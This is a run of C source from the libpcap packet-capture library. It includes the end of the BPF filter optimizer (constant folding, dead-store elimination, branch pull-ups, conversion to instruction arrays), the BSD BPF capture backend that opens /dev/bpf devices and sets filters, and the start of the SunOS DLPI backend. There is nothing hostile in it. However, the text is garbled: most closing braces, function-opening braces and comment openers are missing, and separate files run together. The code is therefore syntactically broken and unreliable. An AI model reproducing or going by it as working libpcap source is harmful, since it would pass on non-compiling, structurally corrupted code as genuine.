      case BPF_ALU|BPF_SUB|BPF_K:
      case BPF_ALU|BPF_MUL|BPF_K:
      case BPF_ALU|BPF_DIV|BPF_K:
      case BPF_ALU|BPF_AND|BPF_K:
      case BPF_ALU|BPF_OR|BPF_K:
      case BPF_ALU|BPF_LSH|BPF_K:
      case BPF_ALU|BPF_RSH|BPF_K:
            op = BPF_OP(s->code);
            if (alter) {
                  if (s->k == 0) {
                        if (op == BPF_ADD || op == BPF_SUB ||
                            op == BPF_LSH || op == BPF_RSH ||
                            op == BPF_OR) {
                              s->code = NOP;
                              break;
                        }
                        if (op == BPF_MUL || op == BPF_AND) {
                              s->code = BPF_LD|BPF_IMM;
                              val[A_ATOM] = K(s->k);
                              break;
                        }
                  }
                  if (vmap[val[A_ATOM]].is_const) {
                        fold_op(s, val[A_ATOM], K(s->k));
                        val[A_ATOM] = K(s->k);
                        break;
                  }
            val[A_ATOM] = F(s->code, val[A_ATOM], K(s->k));
            break;
      case BPF_ALU|BPF_ADD|BPF_X:
      case BPF_ALU|BPF_SUB|BPF_X:
      case BPF_ALU|BPF_MUL|BPF_X:
      case BPF_ALU|BPF_DIV|BPF_X:
      case BPF_ALU|BPF_AND|BPF_X:
      case BPF_ALU|BPF_OR|BPF_X:
      case BPF_ALU|BPF_LSH|BPF_X:
      case BPF_ALU|BPF_RSH|BPF_X:
            op = BPF_OP(s->code);
            if (alter && vmap[val[X_ATOM]].is_const) {
                  if (vmap[val[A_ATOM]].is_const) {
                        fold_op(s, val[A_ATOM], val[X_ATOM]);
                        val[A_ATOM] = K(s->k);
                  }
                  else {
                        s->code = BPF_ALU|BPF_K|op;
                        s->k = vmap[val[X_ATOM]].const_val;
                        done = 0;
                        val[A_ATOM] =
                              F(s->code, val[A_ATOM], K(s->k));
                  }
                  break;
            /*
             * Check if we're doing something to an accumulator
             * that is 0, and simplify.  This may not seem like
             * much of a simplification but it could open up further
             * optimizations.
             * XXX We could also check for mul by 1, and -1, etc.
             */
            if (alter && vmap[val[A_ATOM]].is_const
                && vmap[val[A_ATOM]].const_val == 0) {
                  if (op == BPF_ADD || op == BPF_OR ||
                      op == BPF_LSH || op == BPF_RSH || op == BPF_SUB) {
                        s->code = BPF_MISC|BPF_TXA;
                        vstore(s, &val[A_ATOM], val[X_ATOM], alter);
                        break;
                  }
                  else if (op == BPF_MUL || op == BPF_DIV ||
                         op == BPF_AND) {
                        s->code = BPF_LD|BPF_IMM;
                        s->k = 0;
                        vstore(s, &val[A_ATOM], K(s->k), alter);
                        break;
                  }
                  else if (op == BPF_NEG) {
                        s->code = NOP;
                        break;
                  }
            val[A_ATOM] = F(s->code, val[A_ATOM], val[X_ATOM]);
            break;
      case BPF_MISC|BPF_TXA:
            vstore(s, &val[A_ATOM], val[X_ATOM], alter);
            break;
      case BPF_LD|BPF_MEM:
            v = val[s->k];
            if (alter && vmap[v].is_const) {
                  s->code = BPF_LD|BPF_IMM;
                  s->k = vmap[v].const_val;
                  done = 0;
            vstore(s, &val[A_ATOM], v, alter);
            break;
      case BPF_MISC|BPF_TAX:
            vstore(s, &val[X_ATOM], val[A_ATOM], alter);
            break;
      case BPF_LDX|BPF_MEM:
            v = val[s->k];
            if (alter && vmap[v].is_const) {
                  s->code = BPF_LDX|BPF_IMM;
                  s->k = vmap[v].const_val;
                  done = 0;
            vstore(s, &val[X_ATOM], v, alter);
            break;
      case BPF_ST:
            vstore(s, &val[s->k], val[A_ATOM], alter);
            break;
      case BPF_STX:
            vstore(s, &val[s->k], val[X_ATOM], alter);
            break;
static void
deadstmt(s, last)
      register struct stmt *s;
      register struct stmt *last[];
      register int atom;
      atom = atomuse(s);
      if (atom >= 0) {
            if (atom == AX_ATOM) {
                  last[X_ATOM] = 0;
                  last[A_ATOM] = 0;
            else
                  last[atom] = 0;
      atom = atomdef(s);
      if (atom >= 0) {
            if (last[atom]) {
                  done = 0;
                  last[atom]->code = NOP;
            last[atom] = s;
static void
opt_deadstores(b)
      register struct block *b;
      register struct slist *s;
      register int atom;
      struct stmt *last[N_ATOMS];
      memset((char *)last, 0, sizeof last);
      for (s = b->stmts; s != 0; s = s->next)
            deadstmt(&s->s, last);
      deadstmt(&b->s, last);
      for (atom = 0; atom < N_ATOMS; ++atom)
            if (last[atom] && !ATOMELEM(b->out_use, atom)) {
                  last[atom]->code = NOP;
                  done = 0;
static void
opt_blk(b, do_stmts)
      struct block *b;
      int do_stmts;
      struct slist *s;
      struct edge *p;
      int i;
      bpf_int32 aval;
       * Initialize the atom values.
       * If we have no predecessors, everything is undefined.
       * Otherwise, we inherent our values from our predecessors.
       * If any register has an ambiguous value (i.e. control paths are
       * merging) give it the undefined value of 0.
       */
      p = b->in_edges;
      if (p == 0)
            memset((char *)b->val, 0, sizeof(b->val));
      else {
            memcpy((char *)b->val, (char *)p->pred->val, sizeof(b->val));
            while ((p = p->next) != NULL) {
                  for (i = 0; i < N_ATOMS; ++i)
                        if (b->val[i] != p->pred->val[i])
                              b->val[i] = 0;
      aval = b->val[A_ATOM];
      for (s = b->stmts; s; s = s->next)
            opt_stmt(&s->s, b->val, do_stmts);
       * This is a special case: if we don't use anything from this
       * block, and we load the accumulator with value that is
       * already there, or if this block is a return,
       * eliminate all the statements.
       */
      if (do_stmts &&
          ((b->out_use == 0 && aval != 0 &&b->val[A_ATOM] == aval) ||
           BPF_CLASS(b->s.code) == BPF_RET)) {
            if (b->stmts != 0) {
                  b->stmts = 0;
                  done = 0;
      } else {
            opt_peep(b);
            opt_deadstores(b);
       * Set up values for branch optimizer.
       */
      if (BPF_SRC(b->s.code) == BPF_K)
            b->oval = K(b->s.k);
      else
            b->oval = b->val[X_ATOM];
      b->et.code = b->s.code;
      b->ef.code = -b->s.code;
 * Return true if any register that is used on exit from 'succ', has
 * an exit value that is different from the corresponding exit value
 * from 'b'.
static int
use_conflict(b, succ)
      struct block *b, *succ;
      int atom;
      atomset use = succ->out_use;
      if (use == 0)
            return 0;
      for (atom = 0; atom < N_ATOMS; ++atom)
            if (ATOMELEM(use, atom))
                  if (b->val[atom] != succ->val[atom])
                        return 1;
      return 0;
static struct block *
fold_edge(child, ep)
      struct block *child;
      struct edge *ep;
      int sense;
      int aval0, aval1, oval0, oval1;
      int code = ep->code;
      if (code < 0) {
            code = -code;
            sense = 0;
      } else
            sense = 1;
      if (child->s.code != code)
            return 0;
      aval0 = child->val[A_ATOM];
      oval0 = child->oval;
      aval1 = ep->pred->val[A_ATOM];
      oval1 = ep->pred->oval;
      if (aval0 != aval1)
            return 0;
      if (oval0 == oval1)
            /*
             * The operands are identical, so the
             * result is true if a true branch was
             * taken to get here, otherwise false.
             */
            return sense ? JT(child) : JF(child);
      if (sense && code == (BPF_JMP|BPF_JEQ|BPF_K))
            /*
             * At this point, we only know the comparison if we
             * came down the true branch, and it was an equality
             * comparison with a constant.  We rely on the fact that
             * distinct constants have distinct value numbers.
             */
            return JF(child);
      return 0;
static void
opt_j(ep)
      struct edge *ep;
      register int i, k;
      register struct block *target;
      if (JT(ep->succ) == 0)
            return;
      if (JT(ep->succ) == JF(ep->succ)) {
            /*
             * Common branch targets can be eliminated, provided
             * there is no data dependency.
             */
            if (!use_conflict(ep->pred, ep->succ->et.succ)) {
                  done = 0;
                  ep->succ = JT(ep->succ);
       * For each edge dominator that matches the successor of this
       * edge, promote the edge successor to the its grandchild.
       * XXX We violate the set abstraction here in favor a reasonably
       * efficient loop.
       */
 top:
      for (i = 0; i < edgewords; ++i) {
            register bpf_u_int32 x = ep->edom[i];
            while (x != 0) {
                  k = ffs(x) - 1;
                  x &=~ (1 << k);
                  k += i * BITS_PER_WORD;
                  target = fold_edge(ep->succ, edges[k]);
                  /*
                   * Check that there is no data dependency between
                   * nodes that will be violated if we move the edge.
                   */
                  if (target != 0 && !use_conflict(ep->pred, target)) {
                        done = 0;
                        ep->succ = target;
                        if (JT(target) != 0)
                              /*
                               * Start over unless we hit a leaf.
                               */
                              goto top;
                        return;
                  }
static void
or_pullup(b)
      struct block *b;
      int val, at_top;
      struct block *pull;
      struct block **diffp, **samep;
      struct edge *ep;
      ep = b->in_edges;
      if (ep == 0)
            return;
       * Make sure each predecessor loads the same value.
       * XXX why?
       */
      val = ep->pred->val[A_ATOM];
      for (ep = ep->next; ep != 0; ep = ep->next)
            if (val != ep->pred->val[A_ATOM])
                  return;
      if (JT(b->in_edges->pred) == b)
            diffp = &JT(b->in_edges->pred);
      else
            diffp = &JF(b->in_edges->pred);
      at_top = 1;
      while (1) {
            if (*diffp == 0)
                  return;
            if (JT(*diffp) != JT(b))
                  return;
            if (!SET_MEMBER((*diffp)->dom, b->id))
                  return;
            if ((*diffp)->val[A_ATOM] != val)
                  break;
            diffp = &JF(*diffp);
            at_top = 0;
      samep = &JF(*diffp);
      while (1) {
            if (*samep == 0)
                  return;
            if (JT(*samep) != JT(b))
                  return;
            if (!SET_MEMBER((*samep)->dom, b->id))
                  return;
            if ((*samep)->val[A_ATOM] == val)
                  break;
            /* XXX Need to check that there are no data dependencies
               between dp0 and dp1.  Currently, the code generator
               will not produce such dependencies. */
            samep = &JF(*samep);
#ifdef notdef
      /* XXX This doesn't cover everything. */
      for (i = 0; i < N_ATOMS; ++i)
            if ((*samep)->val[i] != pred->val[i])
                  return;
#endif
      /* Pull up the node. */
      pull = *samep;
      *samep = JF(pull);
      JF(pull) = *diffp;
       * At the top of the chain, each predecessor needs to point at the
       * pulled up node.  Inside the chain, there is only one predecessor
       * to worry about.
       */
      if (at_top) {
            for (ep = b->in_edges; ep != 0; ep = ep->next) {
                  if (JT(ep->pred) == b)
                        JT(ep->pred) = pull;
                  else
                        JF(ep->pred) = pull;
      else
            *diffp = pull;
      done = 0;
static void
and_pullup(b)
      struct block *b;
      int val, at_top;
      struct block *pull;
      struct block **diffp, **samep;
      struct edge *ep;
      ep = b->in_edges;
      if (ep == 0)
            return;
       * Make sure each predecessor loads the same value.
       */
      val = ep->pred->val[A_ATOM];
      for (ep = ep->next; ep != 0; ep = ep->next)
            if (val != ep->pred->val[A_ATOM])
                  return;
      if (JT(b->in_edges->pred) == b)
            diffp = &JT(b->in_edges->pred);
      else
            diffp = &JF(b->in_edges->pred);
      at_top = 1;
      while (1) {
            if (*diffp == 0)
                  return;
            if (JF(*diffp) != JF(b))
                  return;
            if (!SET_MEMBER((*diffp)->dom, b->id))
                  return;
            if ((*diffp)->val[A_ATOM] != val)
                  break;
            diffp = &JT(*diffp);
            at_top = 0;
      samep = &JT(*diffp);
      while (1) {
            if (*samep == 0)
                  return;
            if (JF(*samep) != JF(b))
                  return;
            if (!SET_MEMBER((*samep)->dom, b->id))
                  return;
            if ((*samep)->val[A_ATOM] == val)
                  break;
            /* XXX Need to check that there are no data dependencies
               between diffp and samep.  Currently, the code generator
               will not produce such dependencies. */
            samep = &JT(*samep);
#ifdef notdef
      /* XXX This doesn't cover everything. */
      for (i = 0; i < N_ATOMS; ++i)
            if ((*samep)->val[i] != pred->val[i])
                  return;
#endif
      /* Pull up the node. */
      pull = *samep;
      *samep = JT(pull);
      JT(pull) = *diffp;
       * At the top of the chain, each predecessor needs to point at the
       * pulled up node.  Inside the chain, there is only one predecessor
       * to worry about.
       */
      if (at_top) {
            for (ep = b->in_edges; ep != 0; ep = ep->next) {
                  if (JT(ep->pred) == b)
                        JT(ep->pred) = pull;
                  else
                        JF(ep->pred) = pull;
      else
            *diffp = pull;
      done = 0;
static void
opt_blks(root, do_stmts)
      struct block *root;
      int do_stmts;
      int i, maxlevel;
      struct block *p;
      init_val();
      maxlevel = root->level;
      for (i = maxlevel; i >= 0; --i)
            for (p = levels[i]; p; p = p->link)
                  opt_blk(p, do_stmts);
      if (do_stmts)
            /*
             * No point trying to move branches; it can't possibly
             * make a difference at this point.
             */
            return;
      for (i = 1; i <= maxlevel; ++i) {
            for (p = levels[i]; p; p = p->link) {
                  opt_j(&p->et);
                  opt_j(&p->ef);
      for (i = 1; i <= maxlevel; ++i) {
            for (p = levels[i]; p; p = p->link) {
                  or_pullup(p);
                  and_pullup(p);
static inline void
link_inedge(parent, child)
      struct edge *parent;
      struct block *child;
      parent->next = child->in_edges;
      child->in_edges = parent;
static void
find_inedges(root)
      struct block *root;
      int i;
      struct block *b;
      for (i = 0; i < n_blocks; ++i)
            blocks[i]->in_edges = 0;
       * Traverse the graph, adding each edge to the predecessor
       * list of its successors.  Skip the leaves (i.e. level 0).
       */
      for (i = root->level; i > 0; --i) {
            for (b = levels[i]; b != 0; b = b->link) {
                  link_inedge(&b->et, JT(b));
                  link_inedge(&b->ef, JF(b));
static void
opt_root(b)
      struct block **b;
      struct slist *tmp, *s;
      s = (*b)->stmts;
      (*b)->stmts = 0;
      while (BPF_CLASS((*b)->s.code) == BPF_JMP && JT(*b) == JF(*b))
            *b = JT(*b);
      tmp = (*b)->stmts;
      if (tmp != 0)
            sappend(s, tmp);
      (*b)->stmts = s;
       * If the root node is a return, then there is no
       * point executing any statements (since the bpf machine
       * has no side effects).
       */
      if (BPF_CLASS((*b)->s.code) == BPF_RET)
            (*b)->stmts = 0;
static void
opt_loop(root, do_stmts)
      struct block *root;
      int do_stmts;
#ifdef BDEBUG
      if (dflag > 1)
            opt_dump(root);
#endif
      do {
            done = 1;
            find_levels(root);
            find_dom(root);
            find_closure(root);
            find_inedges(root);
            find_ud(root);
            find_edom(root);
            opt_blks(root, do_stmts);
#ifdef BDEBUG
            if (dflag > 1)
                  opt_dump(root);
#endif
      } while (!done);
 * Optimize the filter code in its dag representation.
void
bpf_optimize(rootp)
      struct block **rootp;
      struct block *root;
      root = *rootp;
      opt_init(root);
      opt_loop(root, 0);
      opt_loop(root, 1);
      intern_blocks(root);
      opt_root(rootp);
      opt_cleanup();
static void
make_marks(p)
      struct block *p;
      if (!isMarked(p)) {
            Mark(p);
            if (BPF_CLASS(p->s.code) != BPF_RET) {
                  make_marks(JT(p));
                  make_marks(JF(p));
 * Mark code array such that isMarked(i) is true
 * only for nodes that are alive.
static void
mark_code(p)
      struct block *p;
      cur_mark += 1;
      make_marks(p);
 * True iff the two stmt lists load the same value from the packet into
 * the accumulator.
static int
eq_slist(x, y)
      struct slist *x, *y;
      while (1) {
            while (x && x->s.code == NOP)
                  x = x->next;
            while (y && y->s.code == NOP)
                  y = y->next;
            if (x == 0)
                  return y == 0;
            if (y == 0)
                  return x == 0;
            if (x->s.code != y->s.code || x->s.k != y->s.k)
                  return 0;
            x = x->next;
            y = y->next;
static inline int
eq_blk(b0, b1)
      struct block *b0, *b1;
      if (b0->s.code == b1->s.code &&
          b0->s.k == b1->s.k &&
          b0->et.succ == b1->et.succ &&
          b0->ef.succ == b1->ef.succ)
            return eq_slist(b0->stmts, b1->stmts);
      return 0;
static void
intern_blocks(root)
      struct block *root;
      struct block *p;
      int i, j;
      int done;
 top:
      done = 1;
      for (i = 0; i < n_blocks; ++i)
            blocks[i]->link = 0;
      mark_code(root);
      for (i = n_blocks - 1; --i >= 0; ) {
            if (!isMarked(blocks[i]))
                  continue;
            for (j = i + 1; j < n_blocks; ++j) {
                  if (!isMarked(blocks[j]))
                        continue;
                  if (eq_blk(blocks[i], blocks[j])) {
                        blocks[i]->link = blocks[j]->link ?
                              blocks[j]->link : blocks[j];
                        break;
                  }
      for (i = 0; i < n_blocks; ++i) {
            p = blocks[i];
            if (JT(p) == 0)
                  continue;
            if (JT(p)->link) {
                  done = 0;
                  JT(p) = JT(p)->link;
            if (JF(p)->link) {
                  done = 0;
                  JF(p) = JF(p)->link;
      if (!done)
            goto top;
static void
opt_cleanup()
      free((void *)vnode_base);
      free((void *)vmap);
      free((void *)edges);
      free((void *)space);
      free((void *)levels);
      free((void *)blocks);
 * Return the number of stmts in 's'.
static int
slength(s)
      struct slist *s;
      int n = 0;
      for (; s; s = s->next)
            if (s->s.code != NOP)
                  ++n;
      return n;
 * Return the number of nodes reachable by 'p'.
 * All nodes should be initially unmarked.
static int
count_blocks(p)
      struct block *p;
      if (p == 0 || isMarked(p))
            return 0;
      Mark(p);
      return count_blocks(JT(p)) + count_blocks(JF(p)) + 1;
 * Do a depth first search on the flow graph, numbering the
 * the basic blocks, and entering them into the 'blocks' array.`
static void
number_blks_r(p)
      struct block *p;
      int n;
      if (p == 0 || isMarked(p))
            return;
      Mark(p);
      n = n_blocks++;
      p->id = n;
      blocks[n] = p;
      number_blks_r(JT(p));
      number_blks_r(JF(p));
 * Return the number of stmts in the flowgraph reachable by 'p'.
 * The nodes should be unmarked before calling.
static int
count_stmts(p)
      struct block *p;
      int n;
      if (p == 0 || isMarked(p))
            return 0;
      Mark(p);
      n = count_stmts(JT(p)) + count_stmts(JF(p));
      return slength(p->stmts) + n + 1;
 * Allocate memory.  All allocation is done before optimization
 * is begun.  A linear bound on the size of all data structures is computed
 * from the total number of blocks and/or statements.
static void
opt_init(root)
      struct block *root;
      bpf_u_int32 *p;
      int i, n, max_stmts;
       * First, count the blocks, so we can malloc an array to map
       * block number to block.  Then, put the blocks into the array.
       */
      unMarkAll();
      n = count_blocks(root);
      blocks = (struct block **)malloc(n * sizeof(*blocks));
      unMarkAll();
      n_blocks = 0;
      number_blks_r(root);
      n_edges = 2 * n_blocks;
      edges = (struct edge **)malloc(n_edges * sizeof(*edges));
       * The number of levels is bounded by the number of nodes.
       */
      levels = (struct block **)malloc(n_blocks * sizeof(*levels));
      edgewords = n_edges / (8 * sizeof(bpf_u_int32)) + 1;
      nodewords = n_blocks / (8 * sizeof(bpf_u_int32)) + 1;
      /* XXX */
      space = (bpf_u_int32 *)malloc(2 * n_blocks * nodewords * sizeof(*space)
                         + n_edges * edgewords * sizeof(*space));
      p = space;
      all_dom_sets = p;
      for (i = 0; i < n; ++i) {
            blocks[i]->dom = p;
            p += nodewords;
      all_closure_sets = p;
      for (i = 0; i < n; ++i) {
            blocks[i]->closure = p;
            p += nodewords;
      all_edge_sets = p;
      for (i = 0; i < n; ++i) {
            register struct block *b = blocks[i];
            b->et.edom = p;
            p += edgewords;
            b->ef.edom = p;
            p += edgewords;
            b->et.id = i;
            edges[i] = &b->et;
            b->ef.id = n_blocks + i;
            edges[n_blocks + i] = &b->ef;
            b->et.pred = b;
            b->ef.pred = b;
      max_stmts = 0;
      for (i = 0; i < n; ++i)
            max_stmts += slength(blocks[i]->stmts) + 1;
       * We allocate at most 3 value numbers per statement,
       * so this is an upper bound on the number of valnodes
       * we'll need.
       */
      maxval = 3 * max_stmts;
      vmap = (struct vmapinfo *)malloc(maxval * sizeof(*vmap));
      vnode_base = (struct valnode *)malloc(maxval * sizeof(*vmap));
 * Some pointers used to convert the basic block form of the code,
 * into the array form that BPF requires.  'fstart' will point to
 * the malloc'd array while 'ftail' is used during the recursive traversal.
static struct bpf_insn *fstart;
static struct bpf_insn *ftail;
#ifdef BDEBUG
int bids[1000];
#endif
 * Returns true if successful.  Returns false if a branch has
 * an offset that is too large.  If so, we have marked that
 * branch so that on a subsequent iteration, it will be treated
 * properly.
static int
convert_code_r(p)
      struct block *p;
      struct bpf_insn *dst;
      struct slist *src;
      int slen;
      u_int off;
      int extrajmps;        /* number of extra jumps inserted */
      if (p == 0 || isMarked(p))
            return (1);
      Mark(p);
      if (convert_code_r(JF(p)) == 0)
            return (0);
      if (convert_code_r(JT(p)) == 0)
            return (0);
      slen = slength(p->stmts);
      dst = ftail -= (slen + 1 + p->longjt + p->longjf);
            /* inflate length by any extra jumps */
      p->offset = dst - fstart;
      for (src = p->stmts; src; src = src->next) {
            if (src->s.code == NOP)
                  continue;
            dst->code = (u_short)src->s.code;
            dst->k = src->s.k;
            ++dst;
#ifdef BDEBUG
      bids[dst - fstart] = p->id + 1;
#endif
      dst->code = (u_short)p->s.code;
      dst->k = p->s.k;
      if (JT(p)) {
            extrajmps = 0;
            off = JT(p)->offset - (p->offset + slen) - 1;
            if (off >= 256) {
                /* offset too large for branch, must add a jump */
                if (p->longjt == 0) {
                      /* mark this instruction and retry */
                  p->longjt++;
                  return(0);
                }
                /* branch if T to following jump */
                dst->jt = extrajmps;
                extrajmps++;
                dst[extrajmps].code = BPF_JMP|BPF_JA;
                dst[extrajmps].k = off - extrajmps;
            else
                dst->jt = off;
            off = JF(p)->offset - (p->offset + slen) - 1;
            if (off >= 256) {
                /* offset too large for branch, must add a jump */
                if (p->longjf == 0) {
                      /* mark this instruction and retry */
                  p->longjf++;
                  return(0);
                }
                /* branch if F to following jump */
                /* if two jumps are inserted, F goes to second one */
                dst->jf = extrajmps;
                extrajmps++;
                dst[extrajmps].code = BPF_JMP|BPF_JA;
                dst[extrajmps].k = off - extrajmps;
            else
                dst->jf = off;
      return (1);
 * Convert flowgraph intermediate representation to the
 * BPF array representation.  Set *lenp to the number of instructions.
struct bpf_insn *
icode_to_fcode(root, lenp)
      struct block *root;
      int *lenp;
      int n;
      struct bpf_insn *fp;
       * Loop doing convert_codr_r() until no branches remain
       * with too-large offsets.
       */
      while (1) {
          unMarkAll();
          n = *lenp = count_stmts(root);
   
          fp = (struct bpf_insn *)malloc(sizeof(*fp) * n);
          memset((char *)fp, 0, sizeof(*fp) * n);
          fstart = fp;
          ftail = fp + n;
   
          unMarkAll();
          if (convert_code_r(root))
            break;
          free(fp);
      return fp;
#ifdef BDEBUG
static void
opt_dump(root)
      struct block *root;
      struct bpf_program f;
      memset(bids, 0, sizeof bids);
      f.bf_insns = icode_to_fcode(root, &f.bf_len);
      bpf_dump(&f, 1);
      putchar('\n');
      free((char *)f.bf_insns);
#endif
 * Copyright (c) 1993, 1994, 1995, 1996, 1998
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-bpf.c,v 1.31 98/07/12 13:14:55 leres Exp $ (LBL)";
#endif
#include <sys/param.h>                 /* optionally get BSD define */
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      struct bpf_stat s;
      if (ioctl(p->fd, BIOCGSTATS, (caddr_t)&s) < 0) {
            sprintf(p->errbuf, "BIOCGSTATS: %s", pcap_strerror(errno));
            return (-1);
      ps->ps_recv = s.bs_recv;
      ps->ps_drop = s.bs_drop;
      return (0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      int cc;
      int n = 0;
      register u_char *bp, *ep;
 again:
      cc = p->cc;
      if (p->cc == 0) {
            cc = read(p->fd, (char *)p->buffer, p->bufsize);
            if (cc < 0) {
                  /* Don't choke when we get ptraced */
                  switch (errno) {
                  case EINTR:
                        goto again;
                  case EWOULDBLOCK:
                        return (0);
#if defined(sun) && !defined(BSD)
                  /*
                   * Due to a SunOS bug, after 2^31 bytes, the kernel
                   * file offset overflows and read fails with EINVAL.
                   * The lseek() to 0 will fix things.
                   */
                  case EINVAL:
                        if (lseek(p->fd, 0L, SEEK_CUR) +
                            p->bufsize < 0) {
                              (void)lseek(p->fd, 0L, SEEK_SET);
                              goto again;
                        }
                        /* fall through */
#endif
                  }
                  sprintf(p->errbuf, "read: %s", pcap_strerror(errno));
                  return (-1);
            bp = p->buffer;
      } else
            bp = p->bp;
       * Loop through each packet.
       */
#define bhp ((struct bpf_hdr *)bp)
      ep = bp + cc;
      while (bp < ep) {
            register int caplen, hdrlen;
            caplen = bhp->bh_caplen;
            hdrlen = bhp->bh_hdrlen;
            /*
             * XXX A bpf_hdr matches a pcap_pkthdr.
             */
            (*callback)(user, (struct pcap_pkthdr*)bp, bp + hdrlen);
            bp += BPF_WORDALIGN(caplen + hdrlen);
            if (++n >= cnt && cnt > 0) {
                  p->bp = bp;
                  p->cc = ep - bp;
                  return (n);
#undef bhp
      p->cc = 0;
      return (n);
static inline int
bpf_open(pcap_t *p, char *errbuf)
      int fd;
      int n = 0;
      char device[sizeof "/dev/bpf000"];
       * Go through all the minors and find one that isn't in use.
       */
      do {
            (void)sprintf(device, "/dev/bpf%d", n++);
            fd = open(device, O_RDONLY);
      } while (fd < 0 && errno == EBUSY);
       * XXX better message for all minors used
       */
      if (fd < 0)
            sprintf(errbuf, "%s: %s", device, pcap_strerror(errno));
      return (fd);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      int fd;
      struct ifreq ifr;
      struct bpf_version bv;
      u_int v;
      pcap_t *p;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            sprintf(ebuf, "malloc: %s", pcap_strerror(errno));
            return (NULL);
      bzero(p, sizeof(*p));
      fd = bpf_open(p, ebuf);
      if (fd < 0)
            goto bad;
      p->fd = fd;
      p->snapshot = snaplen;
      if (ioctl(fd, BIOCVERSION, (caddr_t)&bv) < 0) {
            sprintf(ebuf, "BIOCVERSION: %s", pcap_strerror(errno));
            goto bad;
      if (bv.bv_major != BPF_MAJOR_VERSION ||
          bv.bv_minor < BPF_MINOR_VERSION) {
            sprintf(ebuf, "kernel bpf filter out of date");
            goto bad;
      v = 32768;      /* XXX this should be a user-accessible hook */
      /* Ignore the return value - this is because the call fails on
       * BPF systems that don't have kernel malloc.  And if the call
       * fails, it's no big deal, we just continue to use the standard
       * buffer size.
       */
      (void) ioctl(fd, BIOCSBLEN, (caddr_t)&v);
      (void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
      if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) < 0) {
            sprintf(ebuf, "%s: %s", device, pcap_strerror(errno));
            goto bad;
      /* Get the data link layer type. */
      if (ioctl(fd, BIOCGDLT, (caddr_t)&v) < 0) {
            sprintf(ebuf, "BIOCGDLT: %s", pcap_strerror(errno));
            goto bad;
#if _BSDI_VERSION - 0 >= 199510
      /* The SLIP and PPP link layer header changed in BSD/OS 2.1 */
      switch (v) {
      case DLT_SLIP:
            v = DLT_SLIP_BSDOS;
            break;
      case DLT_PPP:
            v = DLT_PPP_BSDOS;
            break;
#endif
      p->linktype = v;
      /* set timeout */
      if (to_ms != 0) {
            struct timeval to;
            to.tv_sec = to_ms / 1000;
            to.tv_usec = (to_ms * 1000) % 1000000;
            if (ioctl(p->fd, BIOCSRTIMEOUT, (caddr_t)&to) < 0) {
                  sprintf(ebuf, "BIOCSRTIMEOUT: %s",
                        pcap_strerror(errno));
                  goto bad;
      if (promisc)
            /* set promiscuous mode, okay if it fails */
            (void)ioctl(p->fd, BIOCPROMISC, NULL);
      if (ioctl(fd, BIOCGBLEN, (caddr_t)&v) < 0) {
            sprintf(ebuf, "BIOCGBLEN: %s", pcap_strerror(errno));
            goto bad;
      p->bufsize = v;
      p->buffer = (u_char *)malloc(p->bufsize);
      if (p->buffer == NULL) {
            sprintf(ebuf, "malloc: %s", pcap_strerror(errno));
            goto bad;
      return (p);
 bad:
      (void)close(fd);
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      if (p->sf.rfile != NULL)
            p->fcode = *fp;
      else if (ioctl(p->fd, BIOCSETF, (caddr_t)fp) < 0) {
            sprintf(p->errbuf, "BIOCSETF: %s", pcap_strerror(errno));
            return (-1);
      return (0);
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * This code contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk),
 * University College London.
 * Packet capture routine for dlpi under SunOS 5
 * Notes:
 *    - Apparently the DLIOCRAW ioctl() is specific to SunOS.
 *    - There is a bug in bufmod(7) such that setting the snapshot
 *      length results in data being left of the front of the packet.
 *    - It might be desirable to use pfmod(7) to filter packets in the
 *      kernel.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-dlpi.c,v 1.52 97/10/03 19:47:47 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#ifdef HAVE_SYS_BUFMOD_H
#include <sys/bufmod.h>
#endif
#include <sys/dlpi.h>
#ifdef HAVE_SYS_DLPI_EXT_H
#include <sys/dlpi_ext.h>
#endif
#ifdef HAVE_HPUX9
#include <sys/socket.h>
